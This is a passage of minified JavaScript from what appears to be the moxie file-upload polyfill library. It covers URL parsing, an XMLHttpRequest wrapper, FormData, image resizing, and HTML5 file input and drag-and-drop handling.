i=["source","scheme","authority","userInfo","user","pass","host","port","relative","path","directory","file","query","fragment"],n=i.length,r={},o=/^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/.exec(e||"");n--;)o[n]&&(r[i[n]]=o[n]);return r.scheme||(t&&"string"!=typeof t||(t=s(t||document.location.href)),r.scheme=t.scheme,r.host=t.host,r.port=t.port,e="",/^[^\/]/.test(r.path)&&(e=t.path,e=/\/[^\/]*\.[^\/]*$/.test(e)?e.replace(/\/[^\/]+$/,"/"):e.replace(/\/?$/,"/")),r.path=e+(r.path||"")),r.port||(r.port={http:80,https:443}[r.scheme]||80),r.port=parseInt(r.port,10),r.path||(r.path="/"),delete r.source,r}return{parseUrl:s,resolveUrl:function(e){e="object"==typeof e?e:s(e);return e.scheme+"://"+e.host+(e.port!=={http:80,https:443}[e.scheme]?":"+e.port:"")+e.path+(e.query||"")},hasSameOrigin:function(e){function t(e){return[e.scheme,e.host,e.port].join("/")}return"string"==typeof e&&(e=s(e)),t(s())===t(e)}}}),e("moxie/runtime/RuntimeTarget",["moxie/core/utils/Basic","moxie/runtime/RuntimeClient","moxie/core/EventTarget"],function(e,t,i){function n(){this.uid=e.guid("uid_"),t.call(this),this.destroy=function(){this.disconnectRuntime(),this.unbindAll()}}return n.prototype=i.instance,n}),e("moxie/file/FileReaderSync",["moxie/core/utils/Basic","moxie/runtime/RuntimeClient","moxie/core/utils/Encode"],function(e,i,a){return function(){function t(e,t){var i;if(!t.isDetached())return i=this.connectRuntime(t.ruid).exec.call(this,"FileReaderSync","read",e,t),this.disconnectRuntime(),i;var n=t.getSource();switch(e){case"readAsBinaryString":return n;case"readAsDataURL":return"data:"+t.type+";base64,"+a.btoa(n);case"readAsText":for(var r="",o=0,s=n.length;o<s;o++)r+=String.fromCharCode(n[o]);return r}}i.call(this),e.extend(this,{uid:e.guid("uid_"),readAsBinaryString:function(e){return t.call(this,"readAsBinaryString",e)},readAsDataURL:function(e){return t.call(this,"readAsDataURL",e)},readAsText:function(e){return t.call(this,"readAsText",e)}})}}),e("moxie/xhr/FormData",["moxie/core/Exceptions","moxie/core/utils/Basic","moxie/file/Blob"],function(e,s,a){return function(){var r,o=[];s.extend(this,{append:function(i,e){var n=this,t=s.typeOf(e);e instanceof a?r={name:i,value:e}:"array"===t?(i+="[]",s.each(e,function(e){n.append(i,e)})):"object"===t?s.each(e,function(e,t){n.append(i+"["+t+"]",e)}):"null"===t||"undefined"===t||"number"===t&&isNaN(e)?n.append(i,"false"):o.push({name:i,value:e.toString()})},hasBlob:function(){return!!this.getBlob()},getBlob:function(){return r&&r.value||null},getBlobName:function(){return r&&r.name||null},each:function(t){s.each(o,function(e){t(e.value,e.name)}),r&&t(r.value,r.name)},destroy:function(){r=null,o=[]}})}}),e("moxie/xhr/XMLHttpRequest",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/core/EventTarget","moxie/core/utils/Encode","moxie/core/utils/Url","moxie/runtime/Runtime","moxie/runtime/RuntimeTarget","moxie/file/Blob","moxie/file/FileReaderSync","moxie/xhr/FormData","moxie/core/utils/Env","moxie/core/utils/Mime"],function(_,b,e,A,I,T,S,r,t,O,D,N){var C={100:"Continue",101:"Switching Protocols",102:"Processing",200:"OK",201:"Created",202:"Accepted",203:"Non-Authoritative Information",204:"No Content",205:"Reset Content",206:"Partial Content",207:"Multi-Status",226:"IM Used",300:"Multiple Choices",301:"Moved Permanently",302:"Found",303:"See Other",304:"Not Modified",305:"Use Proxy",306:"Reserved",307:"Temporary Redirect",400:"Bad Request",401:"Unauthorized",402:"Payment Required",403:"Forbidden",404:"Not Found",405:"Method Not Allowed",406:"Not Acceptable",407:"Proxy Authentication Required",408:"Request Timeout",409:"Conflict",410:"Gone",411:"Length Required",412:"Precondition Failed",413:"Request Entity Too Large",414:"Request-URI Too Long",415:"Unsupported Media Type",416:"Requested Range Not Satisfiable",417:"Expectation Failed",422:"Unprocessable Entity",423:"Locked",424:"Failed Dependency",426:"Upgrade Required",500:"Internal Server Error",501:"Not Implemented",502:"Bad Gateway",503:"Service Unavailable",504:"Gateway Timeout",505:"HTTP Version Not Supported",506:"Variant Also Negotiates",507:"Insufficient Storage",510:"Not Extended"};function M(){this.uid=_.guid("uid_")}M.prototype=e.instance;var L=["loadstart","progress","abort","error","load","timeout","loadend"];function F(){var o,s,a,u,c,t,i=this,n={timeout:0,readyState:F.UNSENT,withCredentials:!1,status:0,statusText:"",responseType:"",responseXML:null,responseText:null,response:null},l=!0,d={},m=null,h=null,f=!1,p=!1,g=!1,x=!1,E=!1,y=!1,w={},v="";function R(e,t){if(n.hasOwnProperty(e))return 1===arguments.length?(D.can("define_property")?n:i)[e]:void(D.can("define_property")?n[e]=t:i[e]=t)}_.extend(this,n,{uid:_.guid("uid_"),upload:new M,open:function(e,t,i,n,r){if(!e||!t)throw new b.DOMException(b.DOMException.SYNTAX_ERR);if(/[\u0100-\uffff]/.test(e)||A.utf8_encode(e)!==e)throw new b.DOMException(b.DOMException.SYNTAX_ERR);if(~_.inArray(e.toUpperCase(),["CONNECT","DELETE","GET","HEAD","OPTIONS","POST","PUT","TRACE","TRACK"])&&(s=e.toUpperCase()),~_.inArray(s,["CONNECT","TRACE","TRACK"]))throw new b.DOMException(b.DOMException.SECURITY_ERR);if(t=A.utf8_encode(t),e=I.parseUrl(t),y=I.hasSameOrigin(e),o=I.resolveUrl(t),(n||r)&&!y)throw new b.DOMException(b.DOMException.INVALID_ACCESS_ERR);if(a=n||e.user,u=r||e.pass,!1===(l=i||!0)&&(R("timeout")||R("withCredentials")||""!==R("responseType")))throw new b.DOMException(b.DOMException.INVALID_ACCESS_ERR);f=!l,p=!1,d={},function(){R("responseText",""),R("responseXML",null),R("response",null),R("status",0),R("statusText",""),0}.call(this),R("readyState",F.OPENED),this.dispatchEvent("readystatechange")},setRequestHeader:function(e,t){if(R("readyState")!==F.OPENED||p)throw new b.DOMException(b.DOMException.INVALID_STATE_ERR);if(/[\u0100-\uffff]/.test(e)||A.utf8_encode(e)!==e)throw new b.DOMException(b.DOMException.SYNTAX_ERR);return e=_.trim(e).toLowerCase(),!~_.inArray(e,["accept-charset","accept-encoding","access-control-request-headers","access-control-request-method","connection","content-length","cookie","cookie2","content-transfer-encoding","date","expect","host","keep-alive","origin","referer","te","trailer","transfer-encoding","upgrade","user-agent","via"])&&!/^(proxy\-|sec\-)/.test(e)&&(d[e]?d[e]+=", "+t:d[e]=t,!0)},getAllResponseHeaders:function(){return v||""},getResponseHeader:function(e){return e=e.toLowerCase(),!E&&!~_.inArray(e,["set-cookie","set-cookie2"])&&v&&""!==v&&(t||(t={},_.each(v.split(/\r\n/),function(e){e=e.split(/:\s+/);2===e.length&&(e[0]=_.trim(e[0]),t[e[0].toLowerCase()]={header:e[0],value:_.trim(e[1])})})),t.hasOwnProperty(e))?t[e].header+": "+t[e].value:null},overrideMimeType:function(e){var t,i;if(~_.inArray(R("readyState"),[F.LOADING,F.DONE]))throw new b.DOMException(b.DOMException.INVALID_STATE_ERR);if(e=_.trim(e.toLowerCase()),/;/.test(e)&&(t=e.match(/^([^;]+)(?:;\scharset\=)?(.*)$/))&&(e=t[1],t[2])&&(i=t[2]),!N.mimes[e])throw new b.DOMException(b.DOMException.SYNTAX_ERR);0},send:function(e,t){if(w="string"===_.typeOf(t)?{ruid:t}:t||{},this.readyState!==F.OPENED||p)throw new b.DOMException(b.DOMException.INVALID_STATE_ERR);e instanceof r?(w.ruid=e.ruid,h=e.type||"application/octet-stream"):e instanceof O?e.hasBlob()&&(t=e.getBlob(),w.ruid=t.ruid,h=t.type||"application/octet-stream"):"string"==typeof e&&(m="UTF-8",h="text/plain;charset=UTF-8",e=A.utf8_encode(e)),this.withCredentials||(this.withCredentials=w.required_caps&&w.required_caps.send_browser_cookies&&!y),g=!f&&this.upload.hasEventListener(),E=!1,x=!e,f||(p=!0),function(e){var i=this;function n(){c&&(c.destroy(),c=null),i.dispatchEvent("loadend"),i=null}function r(t){c.bind("LoadStart",function(e){R("readyState",F.LOADING),i.dispatchEvent("readystatechange"),i.dispatchEvent(e),g&&i.upload.dispatchEvent(e)}),c.bind("Progress",function(e){R("readyState")!==F.LOADING&&(R("readyState",F.LOADING),i.dispatchEvent("readystatechange")),i.dispatchEvent(e)}),c.bind("UploadProgress",function(e){g&&i.upload.dispatchEvent({type:"progress",lengthComputable:!1,total:e.total,loaded:e.loaded})}),c.bind("Load",function(e){R("readyState",F.DONE),R("status",Number(t.exec.call(c,"XMLHttpRequest","getStatus")||0)),R("statusText",C[R("status")]||""),R("response",t.exec.call(c,"XMLHttpRequest","getResponse",R("responseType"))),~_.inArray(R("responseType"),["text",""])?R("responseText",R("response")):"document"===R("responseType")&&R("responseXML",R("response")),v=t.exec.call(c,"XMLHttpRequest","getAllResponseHeaders"),i.dispatchEvent("readystatechange"),0<R("status")?(g&&i.upload.dispatchEvent(e),i.dispatchEvent(e)):(E=!0,i.dispatchEvent("error")),n()}),c.bind("Abort",function(e){i.dispatchEvent(e),n()}),c.bind("Error",function(e){E=!0,R("readyState",F.DONE),i.dispatchEvent("readystatechange"),x=!0,i.dispatchEvent(e),n()}),t.exec.call(c,"XMLHttpRequest","send",{url:o,method:s,async:l,user:a,password:u,headers:d,mimeType:h,encoding:m,responseType:i.responseType,withCredentials:i.withCredentials,options:w},e)}(new Date).getTime(),c=new S,"string"==typeof w.required_caps&&(w.required_caps=T.parseCaps(w.required_caps));w.required_caps=_.extend({},w.required_caps,{return_response_type:i.responseType}),e instanceof O&&(w.required_caps.send_multipart=!0);_.isEmptyObj(d)||(w.required_caps.send_custom_headers=!0);y||(w.required_caps.do_cors=!0);w.ruid?r(c.connectRuntime(w)):(c.bind("RuntimeInit",function(e,t){r(t)}),c.bind("RuntimeError",function(e,t){i.dispatchEvent("RuntimeError",t)}),c.connectRuntime(w))}.call(this,e)},abort:function(){if(f=!(E=!0),~_.inArray(R("readyState"),[F.UNSENT,F.OPENED,F.DONE]))R("readyState",F.UNSENT);else{if(R("readyState",F.DONE),p=!1,!c)throw new b.DOMException(b.DOMException.INVALID_STATE_ERR);c.getRuntime().exec.call(c,"XMLHttpRequest","abort",x),x=!0}},destroy:function(){c&&("function"===_.typeOf(c.destroy)&&c.destroy(),c=null),this.unbindAll(),this.upload&&(this.upload.unbindAll(),this.upload=null)}}),this.handleEventProps(L.concat(["readystatechange"])),this.upload.handleEventProps(L)}return F.UNSENT=0,F.OPENED=1,F.HEADERS_RECEIVED=2,F.LOADING=3,F.DONE=4,F.prototype=e.instance,F}),e("moxie/runtime/Transporter",["moxie/core/utils/Basic","moxie/core/utils/Encode","moxie/runtime/RuntimeClient","moxie/core/EventTarget"],function(m,t,e,i){function h(){var o,n,s,a,r,u;function c(){a=r=0,s=this.result=null}function l(e,t){var i=this;n=t,i.bind("TransportingProgress",function(e){(r=e.loaded)<a&&-1===m.inArray(i.state,[h.IDLE,h.DONE])&&d.call(i)},999),i.bind("TransportingComplete",function(){r=a,i.state=h.DONE,s=null,i.result=n.exec.call(i,"Transporter","getAsBlob",e||"")},999),i.state=h.BUSY,i.trigger("TransportingStarted"),d.call(i)}function d(){var e=a-r;e<u&&(u=e),e=t.btoa(s.substr(r,u)),n.exec.call(this,"Transporter","receive",e,a)}e.call(this),m.extend(this,{uid:m.guid("uid_"),state:h.IDLE,result:null,transport:function(e,i,t){var n,r=this;t=m.extend({chunk_size:204798},t),(o=t.chunk_size%3)&&(t.chunk_size+=3-o),u=t.chunk_size,c.call(this),a=(s=e).length,"string"===m.typeOf(t)||t.ruid?l.call(r,i,this.connectRuntime(t)):(n=function(e,t){r.unbind("RuntimeInit",n),l.call(r,i,t)},this.bind("RuntimeInit",n),this.connectRuntime(t))},abort:function(){this.state=h.IDLE,n&&(n.exec.call(this,"Transporter","clear"),this.trigger("TransportingAborted")),c.call(this)},destroy:function(){this.unbindAll(),n=null,this.disconnectRuntime(),c.call(this)}})}return h.IDLE=0,h.BUSY=1,h.DONE=2,h.prototype=i.instance,h}),e("moxie/image/Image",["moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/Exceptions","moxie/file/FileReaderSync","moxie/xhr/XMLHttpRequest","moxie/runtime/Runtime","moxie/runtime/RuntimeClient","moxie/runtime/Transporter","moxie/core/utils/Env","moxie/core/EventTarget","moxie/file/Blob","moxie/file/File","moxie/core/utils/Encode"],function(a,n,u,e,o,s,t,c,l,i,d,m,h){var f=["progress","load","error","resize","embedded"];function p(){function i(e){var t=a.typeOf(e);try{if(e instanceof p){if(!e.size)throw new u.DOMException(u.DOMException.INVALID_STATE_ERR);!function(e,t){var i=this.connectRuntime(e.ruid);this.ruid=i.uid,i.exec.call(this,"Image","loadFromImage",e,"undefined"===a.typeOf(t)||t)}.apply(this,arguments)}else if(e instanceof d){if(!~a.inArray(e.type,["image/jpeg","image/png"]))throw new u.ImageError(u.ImageError.WRONG_FORMAT);r.apply(this,arguments)}else if(-1!==a.inArray(t,["blob","file"]))i.call(this,new m(null,e),arguments[1]);else if("string"===t)"data:"===e.substr(0,5)?i.call(this,new d(null,{data:e}),arguments[1]):function(e,t){var i,n=this;(i=new o).open("get",e),i.responseType="blob",i.onprogress=function(e){n.trigger(e)},i.onload=function(){r.call(n,i.response,!0)},i.onerror=function(e){n.trigger(e)},i.onloadend=function(){i.destroy()},i.bind("RuntimeError",function(e,t){n.trigger("RuntimeError",t)}),i.send(null,t)}.apply(this,arguments);else{if("node"!==t||"img"!==e.nodeName.toLowerCase())throw new u.DOMException(u.DOMException.TYPE_MISMATCH_ERR);i.call(this,e.src,arguments[1])}}catch(e){this.trigger("error",e.code)}}function r(t,e){var i=this;function n(e){i.ruid=e.uid,e.exec.call(i,"Image","loadFromBlob",t)}i.name=t.name||"",t.isDetached()?(this.bind("RuntimeInit",function(e,t){n(t)}),e&&"string"==typeof e.required_caps&&(e.required_caps=s.parseCaps(e.required_caps)),this.connectRuntime(a.extend({required_caps:{access_image_binary:!0,resize_image:!0}},e))):n(this.connectRuntime(t.ruid))}t.call(this),a.extend(this,{uid:a.guid("uid_"),ruid:null,name:"",size:0,width:0,height:0,type:"",meta:{},clone:function(){this.load.apply(this,arguments)},load:function(){i.apply(this,arguments)},downsize:function(e){var t={width:this.width,height:this.height,type:this.type||"image/jpeg",quality:90,crop:!1,preserveHeaders:!0,resample:!1};e="object"==typeof e?a.extend(t,e):a.extend(t,{width:arguments[0],height:arguments[1],crop:arguments[2],preserveHeaders:arguments[3]});try{if(!this.size)throw new u.DOMException(u.DOMException.INVALID_STATE_ERR);if(this.width>p.MAX_RESIZE_WIDTH||this.height>p.MAX_RESIZE_HEIGHT)throw new u.ImageError(u.ImageError.MAX_RESOLUTION_ERR);this.exec("Image","downsize",e.width,e.height,e.crop,e.preserveHeaders)}catch(e){this.trigger("error",e.code)}},crop:function(e,t,i){this.downsize(e,t,!0,i)},getAsCanvas:function(){if(l.can("create_canvas"))return this.connectRuntime(this.ruid).exec.call(this,"Image","getAsCanvas");throw new u.RuntimeError(u.RuntimeError.NOT_SUPPORTED_ERR)},getAsBlob:function(e,t){if(this.size)return this.exec("Image","getAsBlob",e||"image/jpeg",t||90);throw new u.DOMException(u.DOMException.INVALID_STATE_ERR)},getAsDataURL:function(e,t){if(this.size)return this.exec("Image","getAsDataURL",e||"image/jpeg",t||90);throw new u.DOMException(u.DOMException.INVALID_STATE_ERR)},getAsBinaryString:function(e,t){e=this.getAsDataURL(e,t);return h.atob(e.substring(e.indexOf("base64,")+7))},embed:function(r,e){var o,s=this;e=a.extend({width:this.width,height:this.height,type:this.type||"image/jpeg",quality:90},e||{});try{if(!(r=n.get(r)))throw new u.DOMException(u.DOMException.INVALID_NODE_TYPE_ERR);if(!this.size)throw new u.DOMException(u.DOMException.INVALID_STATE_ERR);this.width>p.MAX_RESIZE_WIDTH||this.height;var t=new p;return t.bind("Resize",function(){!function(e,t){var i=this;if(l.can("create_canvas")){var n=i.getAsCanvas();if(n)return r.appendChild(n),i.destroy(),void s.trigger("embedded")}if(!(n=i.getAsDataURL(e,t)))throw new u.ImageError(u.ImageError.WRONG_FORMAT);l.can("use_data_uri_of",n.length)?(r.innerHTML='<img src="'+n+'" width="'+i.width+'" height="'+i.height+'" />',i.destroy(),s.trigger("embedded")):((t=new c).bind("TransportingComplete",function(){o=s.connectRuntime(this.result.ruid),s.bind("Embedded",function(){a.extend(o.getShimContainer().style,{top:"0px",left:"0px",width:i.width+"px",height:i.height+"px"}),o=null},999),o.exec.call(s,"ImageView","display",this.result.uid,width,height),i.destroy()}),t.transport(h.atob(n.substring(n.indexOf("base64,")+7)),e,{required_caps:{display_media:!0},runtime_order:"flash,silverlight",container:r}))}.call(this,e.type,e.quality)}),t.bind("Load",function(){t.downsize(e)}),this.meta.thumb&&this.meta.thumb.width>=e.width&&this.meta.thumb.height>=e.height?t.load(this.meta.thumb.data):t.clone(this,!1),t}catch(e){this.trigger("error",e.code)}},destroy:function(){this.ruid&&(this.getRuntime().exec.call(this,"Image","destroy"),this.disconnectRuntime()),this.unbindAll()}}),this.handleEventProps(f),this.bind("Load Resize",function(){!function(e){e=e||this.exec("Image","getInfo");this.size=e.size,this.width=e.width,this.height=e.height,this.type=e.type,this.meta=e.meta,""===this.name&&(this.name=e.name)}.call(this)},999)}return p.MAX_RESIZE_WIDTH=8192,p.MAX_RESIZE_HEIGHT=8192,p.prototype=i.instance,p}),e("moxie/runtime/html5/Runtime",["moxie/core/utils/Basic","moxie/core/Exceptions","moxie/runtime/Runtime","moxie/core/utils/Env"],function(s,e,a,u){var c={};return a.addConstructor("html5",function(e){var t,i=this,n=a.capTest,r=a.capTrue,o=s.extend({access_binary:n(window.FileReader||window.File&&window.File.getAsDataURL),access_image_binary:function(){return i.can("access_binary")&&!!c.Image},display_media:n(u.can("create_canvas")||u.can("use_data_uri_over32kb")),do_cors:n(window.XMLHttpRequest&&"withCredentials"in new XMLHttpRequest),drag_and_drop:n(("draggable"in(o=document.createElement("div"))||"ondragstart"in o&&"ondrop"in o)&&("IE"!==u.browser||u.verComp(u.version,9,">"))),filter_by_extension:n("Chrome"===u.browser&&u.verComp(u.version,28,">=")||"IE"===u.browser&&u.verComp(u.version,10,">=")||"Safari"===u.browser&&u.verComp(u.version,7,">=")),return_response_headers:r,return_response_type:function(e){return!("json"!==e||!window.JSON)||u.can("return_response_type",e)},return_status_code:r,report_upload_progress:n(window.XMLHttpRequest&&(new XMLHttpRequest).upload),resize_image:function(){return i.can("access_binary")&&u.can("create_canvas")},select_file:function(){return u.can("use_fileinput")&&window.File},select_folder:function(){return i.can("select_file")&&"Chrome"===u.browser&&u.verComp(u.version,21,">=")},select_multiple:function(){return i.can("select_file")&&!("Safari"===u.browser&&"Windows"===u.os)&&!("iOS"===u.os&&u.verComp(u.osVersion,"7.0.0",">")&&u.verComp(u.osVersion,"8.0.0","<"))},send_binary_string:n(window.XMLHttpRequest&&((new XMLHttpRequest).sendAsBinary||window.Uint8Array&&window.ArrayBuffer)),send_custom_headers:n(window.XMLHttpRequest),send_multipart:function(){return!!(window.XMLHttpRequest&&(new XMLHttpRequest).upload&&window.FormData)||i.can("send_binary_string")},slice_blob:n(window.File&&(File.prototype.mozSlice||File.prototype.webkitSlice||File.prototype.slice)),stream_upload:function(){return i.can("slice_blob")&&i.can("send_multipart")},summon_file_dialog:function(){return i.can("select_file")&&("Firefox"===u.browser&&u.verComp(u.version,4,">=")||"Opera"===u.browser&&u.verComp(u.version,12,">=")||"IE"===u.browser&&u.verComp(u.version,10,">=")||!!~s.inArray(u.browser,["Chrome","Safari"]))},upload_filesize:r},arguments[2]);a.call(this,e,arguments[1]||"html5",o),s.extend(this,{init:function(){this.trigger("Init")},destroy:(t=this.destroy,function(){t.call(i),t=i=null})}),s.extend(this.getShim(),c)}),c}),e("moxie/core/utils/Events",["moxie/core/utils/Basic"],function(o){var s={},a="moxie_"+o.guid();function u(){this.returnValue=!1}function c(){this.cancelBubble=!0}function r(t,e,i){if(e=e.toLowerCase(),t[a]&&s[t[a]]&&s[t[a]][e]){for(var n,r=(n=s[t[a]][e]).length-1;0<=r&&(n[r].orig!==i&&n[r].key!==i||(t.removeEventListener?t.removeEventListener(e,n[r].func,!1):t.detachEvent&&t.detachEvent("on"+e,n[r].func),n[r].orig=null,n[r].func=null,n.splice(r,1),void 0===i));r--);if(n.length||delete s[t[a]][e],o.isEmptyObj(s[t[a]])){delete s[t[a]];try{delete t[a]}catch(e){t[a]=void 0}}}}return{addEvent:function(e,t,i,n){var r;t=t.toLowerCase(),e.addEventListener?e.addEventListener(t,r=i,!1):e.attachEvent&&e.attachEvent("on"+t,r=function(){var e=window.event;e.target||(e.target=e.srcElement),e.preventDefault=u,e.stopPropagation=c,i(e)}),e[a]||(e[a]=o.guid()),s.hasOwnProperty(e[a])||(s[e[a]]={}),(e=s[e[a]]).hasOwnProperty(t)||(e[t]=[]),e[t].push({func:r,orig:i,key:n})},removeEvent:r,removeAllEvents:function(i,n){i&&i[a]&&o.each(s[i[a]],function(e,t){r(i,t,n)})}}}),e("moxie/runtime/html5/file/FileInput",["moxie/runtime/html5/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime","moxie/core/utils/Env"],function(e,a,u,c,l,d,m){return e.FileInput=function(){var s;u.extend(this,{init:function(e){var t,i,n,r=this,o=r.getRuntime(),e=(s=e).accept.mimes||d.extList2mimes(s.accept,o.can("filter_by_extension"));(t=o.getShimContainer()).innerHTML='<input id="'+o.uid+'" type="file" style="font-size:999px;opacity:0;"'+(s.multiple&&o.can("select_multiple")?"multiple":"")+(s.directory&&o.can("select_folder")?"webkitdirectory directory":"")+(e?' accept="'+e.join(",")+'"':"")+" />",e=c.get(o.uid),u.extend(e.style,{position:"absolute",top:0,left:0,width:"100%",height:"100%"}),i=c.get(s.browse_button),o.can("summon_file_dialog")&&("static"===c.getStyle(i,"position")&&(i.style.position="relative"),n=parseInt(c.getStyle(i,"z-index"),10)||1,i.style.zIndex=n,t.style.zIndex=n-1,l.addEvent(i,"click",function(e){var t=c.get(o.uid);t&&!t.disabled&&t.click(),e.preventDefault()},r.uid)),n=o.can("summon_file_dialog")?i:t,l.addEvent(n,"mouseover",function(){r.trigger("mouseenter")},r.uid),l.addEvent(n,"mouseout",function(){r.trigger("mouseleave")},r.uid),l.addEvent(n,"mousedown",function(){r.trigger("mousedown")},r.uid),l.addEvent(c.get(s.container),"mouseup",function(){r.trigger("mouseup")},r.uid),e.onchange=function e(t){var i;r.files=[],u.each(this.files,function(e){var t="";if(s.directory&&"."==e.name)return!0;e.webkitRelativePath&&(t="/"+e.webkitRelativePath.replace(/^\//,"")),(e=new a(o.uid,e)).relativePath=t,r.files.push(e)}),"IE"!==m.browser&&"IEMobile"!==m.browser?this.value="":(i=this.cloneNode(!0),this.parentNode.replaceChild(i,this),i.onchange=e),r.files.length&&r.trigger("change")},r.trigger({type:"ready",async:!0})},disable:function(e){var t=this.getRuntime();(t=c.get(t.uid))&&(t.disabled=!!e)},destroy:function(){var e=this.getRuntime(),t=e.getShim(),e=e.getShimContainer();l.removeAllEvents(e,this.uid),l.removeAllEvents(s&&c.get(s.container),this.uid),l.removeAllEvents(s&&c.get(s.browse_button),this.uid),e&&(e.innerHTML=""),t.removeInstance(this.uid),s=null}})}}),e("moxie/runtime/html5/file/Blob",["moxie/runtime/html5/Runtime","moxie/file/Blob"],function(e,t){return e.Blob=function(){this.slice=function(){return new t(this.getRuntime().uid,function(t,i,n){var e;if(!window.File.prototype.slice)return(e=window.File.prototype.webkitSlice||window.File.prototype.mozSlice)?e.call(t,i,n):null;try{return t.slice(),t.slice(i,n)}catch(e){return t.slice(i,n-i)}}.apply(this,arguments))}}}),e("moxie/runtime/html5/file/FileDrop",["moxie/runtime/html5/Runtime","moxie/file/File","moxie/core/utils/Basic","moxie/core/utils/Dom","moxie/core/utils/Events","moxie/core/utils/Mime"],function(e,r,l,i,d,m){return e.FileDrop=function(){var t,n,o=[],s=[];function a(e){if(e.dataTransfer&&e.dataTransfer.types)return e=l.toArray(e.dataTransfer.types||[]),-1!==l.inArray("Files",e)||-1!==l.inArray("public.file-url",e)||-1!==l.inArray("application/x-moz-file",e)}function u(e,t){var i;i=e,s.length&&(i=m.getFileExtension(i.name))&&-1===l.inArray(i,s)||((i=new r(n,e)).relativePath=t||"",o.push(i))}function c(e,t){var i=[];l.each(e,function(s){i.push(function(e){{var t,n,r;(o=e,(i=s).isFile)?i.file(function(e){u(e,i.fullPath),o()},function(){o()}):i.isDirectory?(t=o,n=[],r=(e=i).createReader(),function t(i){r.readEntries(function(e){e.length?([].push.apply(n,e),t(i)):i()},i)}(function(){c(n,t)})):o()}var i,o})}),l.inSeries(i,function(){t()})}l.extend(this,{init:function(e){var r=this;t=e,n=r.ruid,s=function(e){for(var t=[],i=0;i<e.length;i++)[].push.apply(t,e[i].extensions.split(/\s*,\s*/));return-1===l.inArray("*",t)?t:[]}(t.accept),e=t.container,d.addEvent(e,"dragover",function(e){a(e)&&(e.preventDefault(),e.dataTransfer.dropEffect="copy")},r.uid),d.addEvent(e,"drop",function(e){var t,i,n;a(e)&&(e.preventDefault(),o=[],e.dataTransfer.items&&e.dataTransfer.items[0].webkitGetAsEntry?(t=e.dataTransfer.items,i=function(){r.files=o,r.trigger("drop")},n=[],l.each(t,function(e){var t=e.webkitGetAsEntry();t&&(t.isFile?u(e.getAsFile(),t.fullPath):n.push(t))}),n.length?c(n,i):i()):(l.each(e.dataTransfer.files,function(e){u(e)}),r.files=o,r.trigger("drop")))},r.uid),d.addEvent(e,"dragenter",function(e){r.trigger("dragenter")},r.uid),d.addEvent(e,"dragleave",function(e){r.trigger("dragleave")},r.uid)},destroy:function(){d.removeAllEvents(t&&i.get(t.container),this.uid),n=o=s=t=null}})}}),e("moxie/runtime/html5/file/FileReader",["moxie/runtime/html5/Runtime","moxie/core/utils/Encode","moxie/core/utils/Basic"],function(e,o,s){return e.FileReader=function(){var n,r=!1;s.extend(this,{read:function(e,t){var i=this;i.result="",(n=new window.FileReader).addEventListener("progress",function(e){i.trigger(e)}),n.addEventListener("load",function(e){var t;i.result=r?(t=n.result,o.atob(t.substring(t.indexOf("base64,")+7))):n.result,i.trigger(e)}),n.addEventListener("error",function(e){i.trigger(e,n.error)}),n.addEventListener("loadend",function(e){n=null,i.trigger(e)}),"function"===s.typeOf(n[e])?(r=!1,n[e](t.getSource())):"readAsBinaryString"===e&&(r=!0,n.readAsDataURL(t.getSource()))},abort:function(){n&&n.abort()},destroy:function(){n=null}})}}),e("moxie/runtime/html5/xhr/XMLHttpRequest",["moxie/runtime/html5/Runtime","moxie/core/utils/Basic","moxie/core/utils/Mime","moxie/core/utils/Url","moxie/file/File","moxie/file/Blob","moxie/xhr/FormData","moxie/core/Exceptions","moxie/core/utils/Env"],function(e,m,u,h,f,p,g,x,E){return e.XMLHttpRequest=function(){var c,l,d=this;m.extend(this,{send:function(e,t){var i,n=this,r="Mozilla"===E.browser&&E.verComp(E.version,4,">=")&&E.verComp(E.version,7,"<"),o="Android Browser"===E.browser,s=!1;if(l=e.url.replace(/^.+?\/([\w\-\.]+)$/,"$1").toLowerCase(),(c=!window.XMLHttpRequest||"IE"===E.browser&&E.verComp(E.version,8,"<")?function(){for(var e=["Msxml2.XMLHTTP.6.0","Microsoft.XMLHTTP"],t=0;t<e.length;t++)try{return new ActiveXObject(e[t])}catch(e){}}():new window.XMLHttpRequest).open(e.method,e.url,e.async,e.user,e.password),t instanceof p)t.isDetached()&&(s=!0),t=t.getSource();else if(t instanceof g){if(t.hasBlob())if(t.getBlob().isDetached())t=function(e){var i="----moxieboundary"+(new Date).getTime(),n="\r\n",r="";if(this.getRuntime().can("send_binary_string"))return c.setRequestHeader("Content-Type","multipart/form-data; boundary="+i),e.each(function(e,t){e instanceof p?r+="--"+i+n+'Content-Disposition: form-data; name="'+t+'"; filename="'+unescape(encodeURIComponent(e.name||"blob"))+'"'+n+"Content-Type: "+(e.type||"application/octet-stream")+n+n+e.getSource()+n:r+="--"+i+n+'Content-Disposition: form-data; name="'+t+'"'+n+n+unescape(encodeURIComponent(e))+n}),r+="--"+i+"--"+n;throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR)}.call(n,t),s=!0;else if((r||o)&&"blob"===m.typeOf(t.getBlob().getSource())&&window.FileReader)return void function(e,t){var i,n,r=this;i=t.getBlob().getSource(),(n=new window.FileReader).onload=function(){t.append(t.getBlobName(),new p(null,{type:i.type,data:n.result})),d.send.call(r,e,t)},n.readAsBinaryString(i)}.call(n,e,t);t instanceof g&&(i=new window.FormData,t.each(function(e,t){e instanceof p?i.append(t,e.getSource()):i.append(t,e)}),t=i)}if(c.upload?(e.withCredentials&&(c.withCredentials=!0),c.addEventListener("load",function(e){n.trigger(e)}),c.addEventListener("error",function(e){n.trigger(e)}),c.addEventListener("progress",function(e){n.trigger(e)}),c.upload.addEventListener("progress",function(e){n.trigger({type:"UploadProgress",loaded:e.loaded,total:e.total})})):c.onreadystatechange=function(){switch(c.readyState){case 1:case 2:break;case 3:var t,i;try{h.hasSameOrigin(e.url)&&(t=c.getResponseHeader("Content-Length")||0),c.responseText&&(i=c.responseText.length)}catch(e){t=i=0}n.trigger({type:"progress",lengthComputable:!!t,total:parseInt(t,10),loaded:i});break;case 